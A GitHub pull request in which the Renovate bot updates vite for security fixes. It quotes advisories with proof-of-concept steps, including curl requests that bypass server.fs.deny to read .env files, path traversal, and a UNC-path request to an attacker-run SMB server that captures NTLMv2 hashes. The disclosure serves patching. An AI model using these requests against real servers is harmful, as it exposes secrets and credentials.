Skip to content

chore(monorepo): update pnpm.catalog.default vite [security] - #198

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vite-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vite-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 21, 2025 •

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
vite (source) 7.1.5 → 7.3.5 age confidence
vite (source) ^7.1.7 → ^7.3.6 age confidence

vite allows server.fs.deny bypass via backslash on Windows

CVE-2025-62522 / GHSA-93m4-6634-74q7

More information

Details

Summary

Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • running the dev server on Windows
Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.

PoC
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173
image

Severity

  • CVSS Score: 6.0 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Vite: server.fs.deny bypassed with queries

CVE-2026-39364 / GHSA-v2wj-q39q-566r

More information

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

Details

On the Vite dev server, files that should be blocked by server.fs.deny (e.g., .env, *.crt) can be retrieved with HTTP 200 responses when query parameters such as ?raw, ?import&raw, or ?import&url&inline are appended.

PoC
  1. Start the dev server: pnpm exec vite root --host 127.0.0.1 --port 5175 --strictPort
  2. Confirm that server.fs.deny is enforced (expect 403): curl -i http://127.0.0.1:5175/src/.env | head -n 20
    image
  3. Confirm that the same files can be retrieved with query parameters (expect 200):
    image

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Vite Vulnerable to Arbitrary File Read via Vite Dev Server WebSocket

CVE-2026-39363 / GHSA-p9ff-h696-f583

More information

Details

Summary

server.fs check was not enforced to the fetchModule method that is exposed in Vite dev server's WebSocket.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • WebSocket is not disabled by server.ws: false

Arbitrary files on the server (development machine, CI environment, container, etc.) can be exposed.

Details

If it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "...").

The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path.

PoC
  1. Start the dev server on the target
    Example (used during validation with this repository):

    pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173
  2. Confirm that access is blocked via the HTTP path (example: arbitrary file)

    curl -i 'http://localhost:5173/@fs/etc/passwd?raw'

    Result: 403 Restricted (outside the allow list)
    image

  3. Confirm that the same file can be retrieved via the WebSocket path
    By connecting to the HMR WebSocket without an Origin header and sending a vite:invoke request that calls fetchModule with a file://... URL and ?raw, the file contents are returned as a JavaScript module.

image image

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Vite Vulnerable to Path Traversal in Optimized Deps .map Handling

CVE-2026-39365 / GHSA-4w7w-66w2-5vf9

More information

Details

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • have a sensitive content in files ending with .map and the path is predictable
Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC
  1. Create a minimal PoC sourcemap outside the project root
    cat > /tmp/poc.map <<'EOF'
    {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
    EOF
  2. Start the Vite dev server (example)
    pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080
  3. Confirm that direct /@fs access is blocked by strict (returns 403)
    image
  4. Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map
    image

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


vite: server.fs.deny bypass on Windows alternate paths

CVE-2026-53571 / GHSA-fx2h-pf6j-xcff

More information

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • the sensitive file exists in the allowed directories specified by server.fs.allow
  • either of:
    • the sensitive file exists in an NTFS volume
    • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)
Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw
deecc1315123883cfd0f9c26a002845a

Example expected result:

  • /.env::$DATA?raw returns the contents of .env
  • /tls.pem::$DATA?raw returns the contents of tls.pem

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

CVE-2026-53632 / GHSA-v6wh-96g9-6wx3

More information

Details

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

  • using Windows
  • NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
  • the user accesses the attackers website that sends request to a middleware using launch-editor
  • the server that has the middleware using launch-editor is running
  • the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

2026-01-30_10-58

Severity

  • CVSS Score: 5.5 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitejs/vite (vite)

v7.3.5

Compare Source

Please refer to CHANGELOG.md for details.

v7.3.3

Compare Source

Please refer to CHANGELOG.md for details.

v7.3.2

Compare Source

Please refer to CHANGELOG.md for details.

v7.3.1

Compare Source

Please refer to CHANGELOG.md for details.

v7.3.0

Compare Source

Please refer to CHANGELOG.md for details.

v7.2.7

Compare Source

v7.2.6

Compare Source

7.2.6 (2025-12-01)

v7.2.4

Compare Source

Bug Fixes

v7.2.3

Compare Source

Bug Fixes
Performance Improvements
Miscellaneous Chores

v7.2.2

Compare Source

Bug Fixes

v7.2.1

Compare Source

Bug Fixes
Code Refactoring

v7.2.0

Compare Source

Bug Fixes
  • css: fallback to sass when sass-embedded platform binary is missing (#​21002) (b1fd616)
  • module-runner: make getBuiltins response JSON serializable (#​21029) (ad5b3bf)
  • types: add undefined to optional properties for exactOptionalProperties type compatibility (#​21040) (2833c55)
Miscellaneous Chores

v7.1.12

Compare Source

Please refer to CHANGELOG.md for details.

v7.1.11

Compare Source

Bug Fixes
Miscellaneous Chores
Code Refactoring
Build System

v7.1.10

Compare Source

Bug Fixes
Documentation
Miscellaneous Chores

v7.1.9

Compare Source

Reverts

v7.1.8

Compare Source

Bug Fixes
Documentation
Miscellaneous Chores

v7.1.7

Compare Source

Bug Fixes
  • build: fix ssr environment emitAssets: true when sharedConfigBuild: true (#​20787) (4c4583c)
  • client: use CSP nonce when rendering error overlay (#​20791) (9bc9d12)
  • deps: update all non-major dependencies (#​20811) (9f2247c)
  • glob: handle glob imports from folders starting with dot (#​20800) (105abe8)
  • hmr: trigger prune event when import is removed from non hmr module (#​20768) (9f32b1d)
  • hmr: wait for import.meta.hot.prune callbacks to complete before running other HMRs (#​20698) (98a3484)

v7.1.6

Compare Source

Bug Fixes
  • deps: update all non-major dependencies (#​20773) (88af2ae)
  • esbuild: inject esbuild helper functions with minified $ variables correctly (#​20761) (7e8e004)
  • fallback terser to main thread when nameCache is provided (#​20750) (a679a64)
  • types: strict env typings fail when skipLibCheck is false (#​20755) (cc54e29)
Miscellaneous Chores

Configuration

📅 Schedule: (in timezone America/New_York)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the dependencies Upgrade or downgrade of project dependencies. label Oct 21, 2025
@renovate
renovate Bot requested review from a team and sullivanpj as code owners October 21, 2025 16:59
@renovate
renovate Bot enabled auto-merge (squash) October 21, 2025 16:59
@renovate

renovate Bot commented Oct 21, 2025

Copy link
Copy Markdown
Contributor Author

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.

@deepsource-io

deepsource-io Bot commented Oct 21, 2025 •

Copy link
Copy Markdown

DeepSource Code Review

We reviewed changes in 242a5a8...9b66465 on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall Grade   Security  

Reliability  

Complexity  

Hygiene  

Code Review Summary

Analyzer Status Updated (UTC) Details
JavaScript Mar 26, 2026 8:56p.m. Review ↗
Shell Mar 26, 2026 8:56p.m. Review ↗

@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 70f22ae to 56898cd Compare November 10, 2025 20:13
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] chore(monorepo): update pnpm.catalog.default vite [security] Nov 10, 2025
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 56898cd to 0bacb56 Compare November 11, 2025 03:12
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite [security] chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] Nov 11, 2025
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 0bacb56 to ac65947 Compare November 18, 2025 22:30
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] chore(monorepo): update pnpm.catalog.default vite [security] Nov 18, 2025
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite [security] chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] Nov 19, 2025
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from ac65947 to b37c8b9 Compare November 19, 2025 02:42
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from b37c8b9 to 1878d18 Compare December 3, 2025 20:10
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] chore(monorepo): update pnpm.catalog.default vite [security] Dec 3, 2025
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 1878d18 to 4d4e92b Compare December 3, 2025 22:15
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite [security] chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] Dec 3, 2025
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 4d4e92b to e7e28b2 Compare December 15, 2025 16:55
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] chore(monorepo): update pnpm.catalog.default vite [security] Dec 15, 2025
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from e7e28b2 to 0826b4d Compare December 15, 2025 20:29
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite [security] chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] Dec 15, 2025
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 0826b4d to 182e4ef Compare December 30, 2025 12:32
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] chore(monorepo): update pnpm.catalog.default vite [security] Dec 30, 2025
@socket-security

socket-security Bot commented Dec 30, 2025 •

Copy link
Copy Markdown

All alerts resolved. Learn more about Socket for GitHub.

This PR previously contained dependency changes with security issues that have been resolved, removed, or ignored.

View full report

@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 182e4ef to ca93e8f Compare December 30, 2025 16:27
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite [security] chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] Dec 30, 2025
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from ca93e8f to 3fbf742 Compare December 31, 2025 14:11
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite [security] chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] Jan 23, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from ce41411 to 2b7f699 Compare February 2, 2026 19:12
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] chore(monorepo): update pnpm.catalog.default vite [security] Feb 2, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 2b7f699 to 10017d3 Compare February 2, 2026 23:05
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite [security] chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] Feb 2, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 10017d3 to 27a645e Compare February 12, 2026 11:29
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] chore(monorepo): update pnpm.catalog.default vite [security] Feb 12, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 27a645e to 215eb50 Compare February 12, 2026 17:17
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite [security] chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] Feb 12, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 215eb50 to a27bf35 Compare February 16, 2026 15:14
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] chore(monorepo): update pnpm.catalog.default vite [security] Feb 16, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from a27bf35 to 6754ae8 Compare February 16, 2026 19:09
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite [security] chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] Feb 16, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 6754ae8 to 013014d Compare February 17, 2026 16:47
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] chore(monorepo): update pnpm.catalog.default vite [security] Feb 17, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 013014d to 4dc4a44 Compare February 17, 2026 23:31
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite [security] chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] Feb 17, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 4dc4a44 to 4062a0a Compare February 20, 2026 13:33
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] chore(monorepo): update pnpm.catalog.default vite [security] Feb 20, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 4062a0a to 7a5b8e0 Compare February 20, 2026 17:45
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite [security] chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] Feb 20, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 7a5b8e0 to 7cc3933 Compare February 24, 2026 15:02
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] chore(monorepo): update pnpm.catalog.default vite [security] Feb 24, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 7cc3933 to 568760a Compare February 24, 2026 20:06
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite [security] chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] Feb 24, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 568760a to 90b4ea8 Compare March 5, 2026 10:06
@renovate renovate Bot changed the title chore(monorepo): update pnpm.catalog.default vite to v7.1.11 [security] chore(monorepo): update pnpm.catalog.default vite [security] Mar 5, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch 2 times, most recently from fe9a0d0 to bc14605 Compare March 5, 2026 19:41

This branch has not been deployed

No deployments
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

dependencies Upgrade or downgrade of project dependencies.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants